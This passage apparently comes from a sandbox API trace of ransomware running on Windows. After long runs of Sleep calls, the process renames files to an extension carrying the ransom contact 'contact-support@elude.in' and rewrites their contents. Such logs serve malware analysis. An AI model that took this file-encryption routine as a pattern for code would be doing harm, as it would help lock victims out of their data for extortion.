(dwMilliseconds=0x1) [0067.790] Sleep (dwMilliseconds=0x1) [0067.930] Sleep (dwMilliseconds=0x1) [0068.039] Sleep (dwMilliseconds=0x1) [0068.150] Sleep (dwMilliseconds=0x1) [0068.279] Sleep (dwMilliseconds=0x1) [0068.399] Sleep (dwMilliseconds=0x1) [0068.495] Sleep (dwMilliseconds=0x1) [0068.543] Sleep (dwMilliseconds=0x1) [0068.700] Sleep (dwMilliseconds=0x1) [0068.744] Sleep (dwMilliseconds=0x1) [0068.795] Sleep (dwMilliseconds=0x1) [0068.840] Sleep (dwMilliseconds=0x1) [0068.886] Sleep (dwMilliseconds=0x1) [0068.932] Sleep (dwMilliseconds=0x1) [0068.978] Sleep (dwMilliseconds=0x1) [0069.045] Sleep (dwMilliseconds=0x1) [0069.107] Sleep (dwMilliseconds=0x1) [0069.156] Sleep (dwMilliseconds=0x1) [0069.200] Sleep (dwMilliseconds=0x1) [0069.247] Sleep (dwMilliseconds=0x1) [0069.295] Sleep (dwMilliseconds=0x1) [0069.375] Sleep (dwMilliseconds=0x1) [0069.437] Sleep (dwMilliseconds=0x1) [0069.480] Sleep (dwMilliseconds=0x1) [0069.525] Sleep (dwMilliseconds=0x1) [0069.692] Sleep (dwMilliseconds=0x1) [0069.922] Sleep (dwMilliseconds=0x1) [0070.144] Sleep (dwMilliseconds=0x1) [0070.265] Sleep (dwMilliseconds=0x1) [0070.379] Sleep (dwMilliseconds=0x1) [0070.537] Sleep (dwMilliseconds=0x1) [0070.873] Sleep (dwMilliseconds=0x1) [0071.565] Sleep (dwMilliseconds=0x1) [0071.939] Sleep (dwMilliseconds=0x1) [0072.425] Sleep (dwMilliseconds=0x1) [0072.604] Sleep (dwMilliseconds=0x1) [0072.803] Sleep (dwMilliseconds=0x1) [0072.951] Sleep (dwMilliseconds=0x1) [0073.103] Sleep (dwMilliseconds=0x1) [0073.540] Sleep (dwMilliseconds=0x1) [0073.723] Sleep (dwMilliseconds=0x1) [0073.933] Sleep (dwMilliseconds=0x1) [0074.046] Sleep (dwMilliseconds=0x1) [0074.178] Sleep (dwMilliseconds=0x1) [0074.384] Sleep (dwMilliseconds=0x1) [0074.668] Sleep (dwMilliseconds=0x1) [0074.774] Sleep (dwMilliseconds=0x1) [0074.845] Sleep (dwMilliseconds=0x1) [0074.904] Sleep (dwMilliseconds=0x1) [0075.000] Sleep (dwMilliseconds=0x1) [0075.060] Sleep (dwMilliseconds=0x1) [0075.106] Sleep (dwMilliseconds=0x1) [0075.157] Sleep (dwMilliseconds=0x1) [0075.216] Sleep (dwMilliseconds=0x1) [0075.264] Sleep (dwMilliseconds=0x1) [0075.305] Sleep (dwMilliseconds=0x1) [0075.362] Sleep (dwMilliseconds=0x1) [0075.421] Sleep (dwMilliseconds=0x1) [0075.513] Sleep (dwMilliseconds=0x1) [0075.568] Sleep (dwMilliseconds=0x1) [0075.612] Sleep (dwMilliseconds=0x1) [0075.641] Sleep (dwMilliseconds=0x1) [0075.699] Sleep (dwMilliseconds=0x1) [0075.743] Sleep (dwMilliseconds=0x1) [0075.793] Sleep (dwMilliseconds=0x1) [0075.829] Sleep (dwMilliseconds=0x1) [0075.844] Sleep (dwMilliseconds=0x1) [0076.042] Sleep (dwMilliseconds=0x1) [0076.064] Sleep (dwMilliseconds=0x1) [0076.081] Sleep (dwMilliseconds=0x1) [0076.109] Sleep (dwMilliseconds=0x1) [0076.184] Sleep (dwMilliseconds=0x1) [0076.393] Sleep (dwMilliseconds=0x1) [0076.587] Sleep (dwMilliseconds=0x1) [0076.677] Sleep (dwMilliseconds=0x1) [0076.778] Sleep (dwMilliseconds=0x1) [0076.805] Sleep (dwMilliseconds=0x1) [0076.846] Sleep (dwMilliseconds=0x1) [0076.868] Sleep (dwMilliseconds=0x1) [0076.924] Sleep (dwMilliseconds=0x1) [0076.982] Sleep (dwMilliseconds=0x1) [0077.072] Sleep (dwMilliseconds=0x1) [0077.151] Sleep (dwMilliseconds=0x1) [0077.218] Sleep (dwMilliseconds=0x1) [0077.292] Sleep (dwMilliseconds=0x1) [0077.356] Sleep (dwMilliseconds=0x1) [0077.416] Sleep (dwMilliseconds=0x1) [0077.517] Sleep (dwMilliseconds=0x1) [0077.601] Sleep (dwMilliseconds=0x1) [0077.645] Sleep (dwMilliseconds=0x1) [0077.692] Sleep (dwMilliseconds=0x1) [0077.733] Sleep (dwMilliseconds=0x1) [0077.785] Sleep (dwMilliseconds=0x1) [0077.830] Sleep (dwMilliseconds=0x1) [0077.860] Sleep (dwMilliseconds=0x1) [0077.908] Sleep (dwMilliseconds=0x1) [0077.962] Sleep (dwMilliseconds=0x1) [0077.978] Sleep (dwMilliseconds=0x1) [0077.999] Sleep (dwMilliseconds=0x1) [0078.087] Sleep (dwMilliseconds=0x1) [0078.116] Sleep (dwMilliseconds=0x1) [0078.135] Sleep (dwMilliseconds=0x1) [0078.191] Sleep (dwMilliseconds=0x1) [0078.225] Sleep (dwMilliseconds=0x1) [0078.236] Sleep (dwMilliseconds=0x1) [0078.255] Sleep (dwMilliseconds=0x1) [0078.270] Sleep (dwMilliseconds=0x1) [0078.288] Sleep (dwMilliseconds=0x1) [0078.312] Sleep (dwMilliseconds=0x1) [0078.362] Sleep (dwMilliseconds=0x1) [0078.377] Sleep (dwMilliseconds=0x1) [0078.515] Sleep (dwMilliseconds=0x1) [0078.534] Sleep (dwMilliseconds=0x1) [0078.559] Sleep (dwMilliseconds=0x1) [0078.571] Sleep (dwMilliseconds=0x1) [0078.608] Sleep (dwMilliseconds=0x1) [0078.628] Sleep (dwMilliseconds=0x1) [0078.644] Sleep (dwMilliseconds=0x1) [0078.661] Sleep (dwMilliseconds=0x1) [0078.674] Sleep (dwMilliseconds=0x1) [0078.706] Sleep (dwMilliseconds=0x1) [0078.723] Sleep (dwMilliseconds=0x1) [0078.736] Sleep (dwMilliseconds=0x1) [0078.756] Sleep (dwMilliseconds=0x1) [0078.768] Sleep (dwMilliseconds=0x1) [0078.788] Sleep (dwMilliseconds=0x1) [0078.835] Sleep (dwMilliseconds=0x1) [0078.889] Sleep (dwMilliseconds=0x1) [0078.930] Sleep (dwMilliseconds=0x1) [0078.942] Sleep (dwMilliseconds=0x1) [0078.963] Sleep (dwMilliseconds=0x1) [0078.975] Sleep (dwMilliseconds=0x1) [0079.006] Sleep (dwMilliseconds=0x1) [0079.028] Sleep (dwMilliseconds=0x1) [0079.053] Sleep (dwMilliseconds=0x1) [0079.077] Sleep (dwMilliseconds=0x1) [0079.101] Sleep (dwMilliseconds=0x1) [0079.113] Sleep (dwMilliseconds=0x1) [0079.132] Sleep (dwMilliseconds=0x1) [0079.156] Sleep (dwMilliseconds=0x1) [0079.228] Sleep (dwMilliseconds=0x1) [0079.246] Sleep (dwMilliseconds=0x1) [0079.273] Sleep (dwMilliseconds=0x1) [0079.283] Sleep (dwMilliseconds=0x1) [0079.304] Sleep (dwMilliseconds=0x1) [0079.312] Sleep (dwMilliseconds=0x1) [0079.333] Sleep (dwMilliseconds=0x1) [0079.344] Sleep (dwMilliseconds=0x1) [0079.365] Sleep (dwMilliseconds=0x1) [0079.374] Sleep (dwMilliseconds=0x1) [0079.401] Sleep (dwMilliseconds=0x1) [0079.413] Sleep (dwMilliseconds=0x1) [0079.427] Sleep (dwMilliseconds=0x1) [0079.443] Sleep (dwMilliseconds=0x1) [0079.520] Sleep (dwMilliseconds=0x1) [0079.539] Sleep (dwMilliseconds=0x1) [0079.550] Sleep (dwMilliseconds=0x1) [0079.597] Sleep (dwMilliseconds=0x1) [0079.614] Sleep (dwMilliseconds=0x1) [0079.625] Sleep (dwMilliseconds=0x1) [0079.645] Sleep (dwMilliseconds=0x1) [0079.657] Sleep (dwMilliseconds=0x1) [0079.679] Sleep (dwMilliseconds=0x1) [0079.692] Sleep (dwMilliseconds=0x1) [0079.736] Sleep (dwMilliseconds=0x1) [0079.803] Sleep (dwMilliseconds=0x1) [0079.813] Sleep (dwMilliseconds=0x1) [0079.834] Sleep (dwMilliseconds=0x1) [0079.887] Sleep (dwMilliseconds=0x1) [0079.918] Sleep (dwMilliseconds=0x1) [0079.942] Sleep (dwMilliseconds=0x1) [0079.983] Sleep (dwMilliseconds=0x1) [0080.051] Sleep (dwMilliseconds=0x1) [0080.067] Sleep (dwMilliseconds=0x1) [0080.087] Sleep (dwMilliseconds=0x1) [0080.096] Sleep (dwMilliseconds=0x1) [0080.140] Sleep (dwMilliseconds=0x1) [0080.157] Sleep (dwMilliseconds=0x1) [0080.176] Sleep (dwMilliseconds=0x1) [0080.240] Sleep (dwMilliseconds=0x1) [0080.257] Sleep (dwMilliseconds=0x1) [0080.271] Sleep (dwMilliseconds=0x1) [0080.283] Sleep (dwMilliseconds=0x1) [0080.304] Sleep (dwMilliseconds=0x1) [0080.313] Sleep (dwMilliseconds=0x1) [0080.346] Sleep (dwMilliseconds=0x1) [0080.359] Sleep (dwMilliseconds=0x1) [0080.387] Sleep (dwMilliseconds=0x1) [0080.413] Sleep (dwMilliseconds=0x1) [0080.423] Sleep (dwMilliseconds=0x1) [0080.445] Sleep (dwMilliseconds=0x1) [0080.499] Sleep (dwMilliseconds=0x1) [0080.530] Sleep (dwMilliseconds=0x1) [0080.551] Sleep (dwMilliseconds=0x1) [0080.564] Sleep (dwMilliseconds=0x1) [0080.585] Sleep (dwMilliseconds=0x1) [0080.602] Sleep (dwMilliseconds=0x1) [0080.617] Sleep (dwMilliseconds=0x1) [0080.657] Sleep (dwMilliseconds=0x1) [0080.676] Sleep (dwMilliseconds=0x1) [0080.707] Sleep (dwMilliseconds=0x1) [0080.719] Sleep (dwMilliseconds=0x1) [0080.769] Sleep (dwMilliseconds=0x1) [0080.784] Sleep (dwMilliseconds=0x1) [0080.808] Sleep (dwMilliseconds=0x1) [0080.816] Sleep (dwMilliseconds=0x1) [0080.842] Sleep (dwMilliseconds=0x1) [0080.892] Sleep (dwMilliseconds=0x1) [0080.915] Sleep (dwMilliseconds=0x1) [0080.925] Sleep (dwMilliseconds=0x1) [0080.939] Sleep (dwMilliseconds=0x1) [0080.960] Sleep (dwMilliseconds=0x1) [0080.975] Sleep (dwMilliseconds=0x1) [0080.992] Sleep (dwMilliseconds=0x1) [0081.002] Sleep (dwMilliseconds=0x1) [0081.028] Sleep (dwMilliseconds=0x1) [0081.053] Sleep (dwMilliseconds=0x1) [0081.283] Sleep (dwMilliseconds=0x1) [0081.436] Sleep (dwMilliseconds=0x1) [0081.528] Sleep (dwMilliseconds=0x1) [0081.553] Sleep (dwMilliseconds=0x1) [0081.567] Sleep (dwMilliseconds=0x1) [0081.579] Sleep (dwMilliseconds=0x1) [0081.602] Sleep (dwMilliseconds=0x1) [0081.610] Sleep (dwMilliseconds=0x1) [0081.631] Sleep (dwMilliseconds=0x1) [0081.662] Sleep (dwMilliseconds=0x1) [0081.688] Sleep (dwMilliseconds=0x1) [0081.711] Sleep (dwMilliseconds=0x1) [0081.755] Sleep (dwMilliseconds=0x1) [0081.777] Sleep (dwMilliseconds=0x1) [0081.836] Sleep (dwMilliseconds=0x1) [0081.845] Sleep (dwMilliseconds=0x1) [0081.889] Sleep (dwMilliseconds=0x1) [0081.911] Sleep (dwMilliseconds=0x1) [0081.925] Sleep (dwMilliseconds=0x1) [0081.943] Sleep (dwMilliseconds=0x1) [0081.966] Sleep (dwMilliseconds=0x1) [0081.988] Sleep (dwMilliseconds=0x1) [0082.001] Sleep (dwMilliseconds=0x1) [0082.037] Sleep (dwMilliseconds=0x1) [0082.049] Sleep (dwMilliseconds=0x1) [0082.070] Sleep (dwMilliseconds=0x1) [0082.111] Sleep (dwMilliseconds=0x1) [0082.134] Sleep (dwMilliseconds=0x1) [0082.149] Sleep (dwMilliseconds=0x1) [0082.160] Sleep (dwMilliseconds=0x1) [0082.192] Sleep (dwMilliseconds=0x1) [0082.217] Sleep (dwMilliseconds=0x1) [0082.231] Sleep (dwMilliseconds=0x1) [0082.261] Sleep (dwMilliseconds=0x1) [0082.275] Sleep (dwMilliseconds=0x1) [0082.296] Sleep (dwMilliseconds=0x1) [0082.307] Sleep (dwMilliseconds=0x1) [0082.372] Sleep (dwMilliseconds=0x1) [0082.416] Sleep (dwMilliseconds=0x1) [0082.542] Sleep (dwMilliseconds=0x1) [0082.586] Sleep (dwMilliseconds=0x1) [0082.638] Sleep (dwMilliseconds=0x1) [0082.681] Sleep (dwMilliseconds=0x1) [0082.730] Sleep (dwMilliseconds=0x1) [0082.774] Sleep (dwMilliseconds=0x1) [0082.823] Sleep (dwMilliseconds=0x1) [0082.868] Sleep (dwMilliseconds=0x1) [0082.918] Sleep (dwMilliseconds=0x1) [0082.966] Sleep (dwMilliseconds=0x1) [0083.017] Sleep (dwMilliseconds=0x1) [0083.053] Sleep (dwMilliseconds=0x1) [0083.105] Sleep (dwMilliseconds=0x1) [0083.149] Sleep (dwMilliseconds=0x1) [0083.202] Sleep (dwMilliseconds=0x1) [0083.240] Sleep (dwMilliseconds=0x1) [0083.295] Sleep (dwMilliseconds=0x1) [0083.335] Sleep (dwMilliseconds=0x1) [0083.387] Sleep (dwMilliseconds=0x1) [0083.434] Sleep (dwMilliseconds=0x1) [0083.705] Sleep (dwMilliseconds=0x1) [0083.749] Sleep (dwMilliseconds=0x1) [0083.803] Sleep (dwMilliseconds=0x1) [0083.911] Sleep (dwMilliseconds=0x1) [0084.014] Sleep (dwMilliseconds=0x1) [0084.091] Sleep (dwMilliseconds=0x1) [0084.204] Sleep (dwMilliseconds=0x1) [0084.341] Sleep (dwMilliseconds=0x1) [0084.739] Sleep (dwMilliseconds=0x1) [0084.809] Sleep (dwMilliseconds=0x1) [0084.879] Sleep (dwMilliseconds=0x1) [0084.959] Sleep (dwMilliseconds=0x1) [0085.047] Sleep (dwMilliseconds=0x1) [0085.124] Sleep (dwMilliseconds=0x1) [0085.179] Sleep (dwMilliseconds=0x1) [0085.345] Sleep (dwMilliseconds=0x1) [0085.391] Sleep (dwMilliseconds=0x1) [0085.734] Sleep (dwMilliseconds=0x1) [0085.833] Sleep (dwMilliseconds=0x1) [0085.962] Sleep (dwMilliseconds=0x1) [0086.078] Sleep (dwMilliseconds=0x1) [0086.191] Sleep (dwMilliseconds=0x1) [0086.232] Sleep (dwMilliseconds=0x1) [0086.298] Sleep (dwMilliseconds=0x1) [0086.347] Sleep (dwMilliseconds=0x1) [0086.592] Sleep (dwMilliseconds=0x1) [0086.892] Sleep (dwMilliseconds=0x1) [0087.096] Sleep (dwMilliseconds=0x1) [0087.466] Sleep (dwMilliseconds=0x1) [0089.110] Sleep (dwMilliseconds=0x1) [0090.324] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\588bce7c90097ed212\\1044\\eula.rtf", len=0x23 | out: pbstr=0x45bff7c*="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 1 [0090.325] GetProcessHeap () returned 0x630000 [0090.325] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1418 | out: hHeap=0x630000) returned 1 [0090.325] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0090.325] CloseHandle (hObject=0x6bc) returned 1 [0090.325] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0090.325] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0090.325] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0090.326] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0x100, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d4ec0 [0090.326] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0090.326] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0090.326] GetProcessHeap () returned 0x630000 [0090.326] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc01) returned 0x6f4b040 [0090.326] GetProcessHeap () returned 0x630000 [0090.326] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc01) returned 0x6f06978 [0090.326] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.326] ReadFile (in: hFile=0x6bc, lpBuffer=0x6f4b040, nNumberOfBytesToRead=0xbe0, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4b040*, lpNumberOfBytesRead=0x45bff0c*=0xbe0, lpOverlapped=0x0) returned 1 [0090.368] GetProcessHeap () returned 0x630000 [0090.369] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8a78 [0090.369] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.369] WriteFile (in: hFile=0x6bc, lpBuffer=0x6f06978*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f06978*, lpNumberOfBytesWritten=0x45bff0c*=0xbe0, lpOverlapped=0x0) returned 1 [0090.369] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.369] WriteFile (in: hFile=0x6bc, lpBuffer=0x6f07557*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f07557*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0090.369] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.369] WriteFile (in: hFile=0x6bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0090.369] CloseHandle (hObject=0x6bc) returned 1 [0090.370] GetProcessHeap () returned 0x630000 [0090.370] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f06978 | out: hHeap=0x630000) returned 1 [0090.370] GetProcessHeap () returned 0x630000 [0090.370] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f4b040 | out: hHeap=0x630000) returned 1 [0090.370] GetProcessHeap () returned 0x630000 [0090.370] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8a78 | out: hHeap=0x630000) returned 1 [0090.370] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0090.370] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0xfbd11a4b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0xb747496, dwReserved1=0x6f4b038, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d4ec0 [0090.371] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0090.371] Sleep (dwMilliseconds=0x1) [0090.449] Sleep (dwMilliseconds=0x1) [0090.463] Sleep (dwMilliseconds=0x1) [0090.478] Sleep (dwMilliseconds=0x1) [0090.494] Sleep (dwMilliseconds=0x1) [0090.510] Sleep (dwMilliseconds=0x1) [0090.525] Sleep (dwMilliseconds=0x1) [0090.541] Sleep (dwMilliseconds=0x1) [0090.556] Sleep (dwMilliseconds=0x1) [0090.572] Sleep (dwMilliseconds=0x1) [0090.713] Sleep (dwMilliseconds=0x1) [0090.728] Sleep (dwMilliseconds=0x1) [0090.753] Sleep (dwMilliseconds=0x1) [0090.760] Sleep (dwMilliseconds=0x1) [0090.777] Sleep (dwMilliseconds=0x1) [0090.791] Sleep (dwMilliseconds=0x1) [0090.807] Sleep (dwMilliseconds=0x1) [0090.823] Sleep (dwMilliseconds=0x1) [0090.838] Sleep (dwMilliseconds=0x1) [0090.854] Sleep (dwMilliseconds=0x1) [0090.869] Sleep (dwMilliseconds=0x1) [0090.885] Sleep (dwMilliseconds=0x1) [0090.900] Sleep (dwMilliseconds=0x1) [0090.916] Sleep (dwMilliseconds=0x1) [0090.932] Sleep (dwMilliseconds=0x1) [0090.947] Sleep (dwMilliseconds=0x1) [0090.963] Sleep (dwMilliseconds=0x1) [0090.978] Sleep (dwMilliseconds=0x1) [0090.994] Sleep (dwMilliseconds=0x1) [0091.013] Sleep (dwMilliseconds=0x1) [0092.151] Sleep (dwMilliseconds=0x1) [0093.965] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\588bce7c90097ed212\\DHtmlHeader.html", len=0x26 | out: pbstr=0x45bff7c*="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 1 [0093.965] GetProcessHeap () returned 0x630000 [0093.965] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66c728, Size=0x28) returned 0x699c78 [0093.965] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0093.965] CloseHandle (hObject=0x694) returned 1 [0093.965] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.965] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), lpNewFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.966] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.966] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DHtmlHeader.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DHTMLH~1.FIR")) returned 0x6d5240 [0094.010] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0094.011] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0094.011] GetProcessHeap () returned 0x630000 [0094.011] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3f01) returned 0x6f4a8b8 [0094.011] GetProcessHeap () returned 0x630000 [0094.011] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3f01) returned 0x6f4e7c8 [0094.011] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.011] ReadFile (in: hFile=0x694, lpBuffer=0x6f4a8b8, nNumberOfBytesToRead=0x3ee0, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4a8b8*, lpNumberOfBytesRead=0x45bff0c*=0x3ee0, lpOverlapped=0x0) returned 1 [0096.085] GetProcessHeap () returned 0x630000 [0096.085] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8960 [0096.085] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.086] WriteFile (in: hFile=0x694, lpBuffer=0x6f4e7c8*, nNumberOfBytesToWrite=0x3ee0, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4e7c8*, lpNumberOfBytesWritten=0x45bff0c*=0x3ee0, lpOverlapped=0x0) returned 1 [0096.086] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.086] WriteFile (in: hFile=0x694, lpBuffer=0x6f526a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f526a7*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0096.086] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.086] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0096.086] CloseHandle (hObject=0x694) returned 1 [0096.088] GetProcessHeap () returned 0x630000 [0096.088] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f4e7c8 | out: hHeap=0x630000) returned 1 [0096.088] GetProcessHeap () returned 0x630000 [0096.088] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f4a8b8 | out: hHeap=0x630000) returned 1 [0096.088] GetProcessHeap () returned 0x630000 [0096.088] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8960 | out: hHeap=0x630000) returned 1 [0096.088] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0096.088] FindFirstFileW (in: 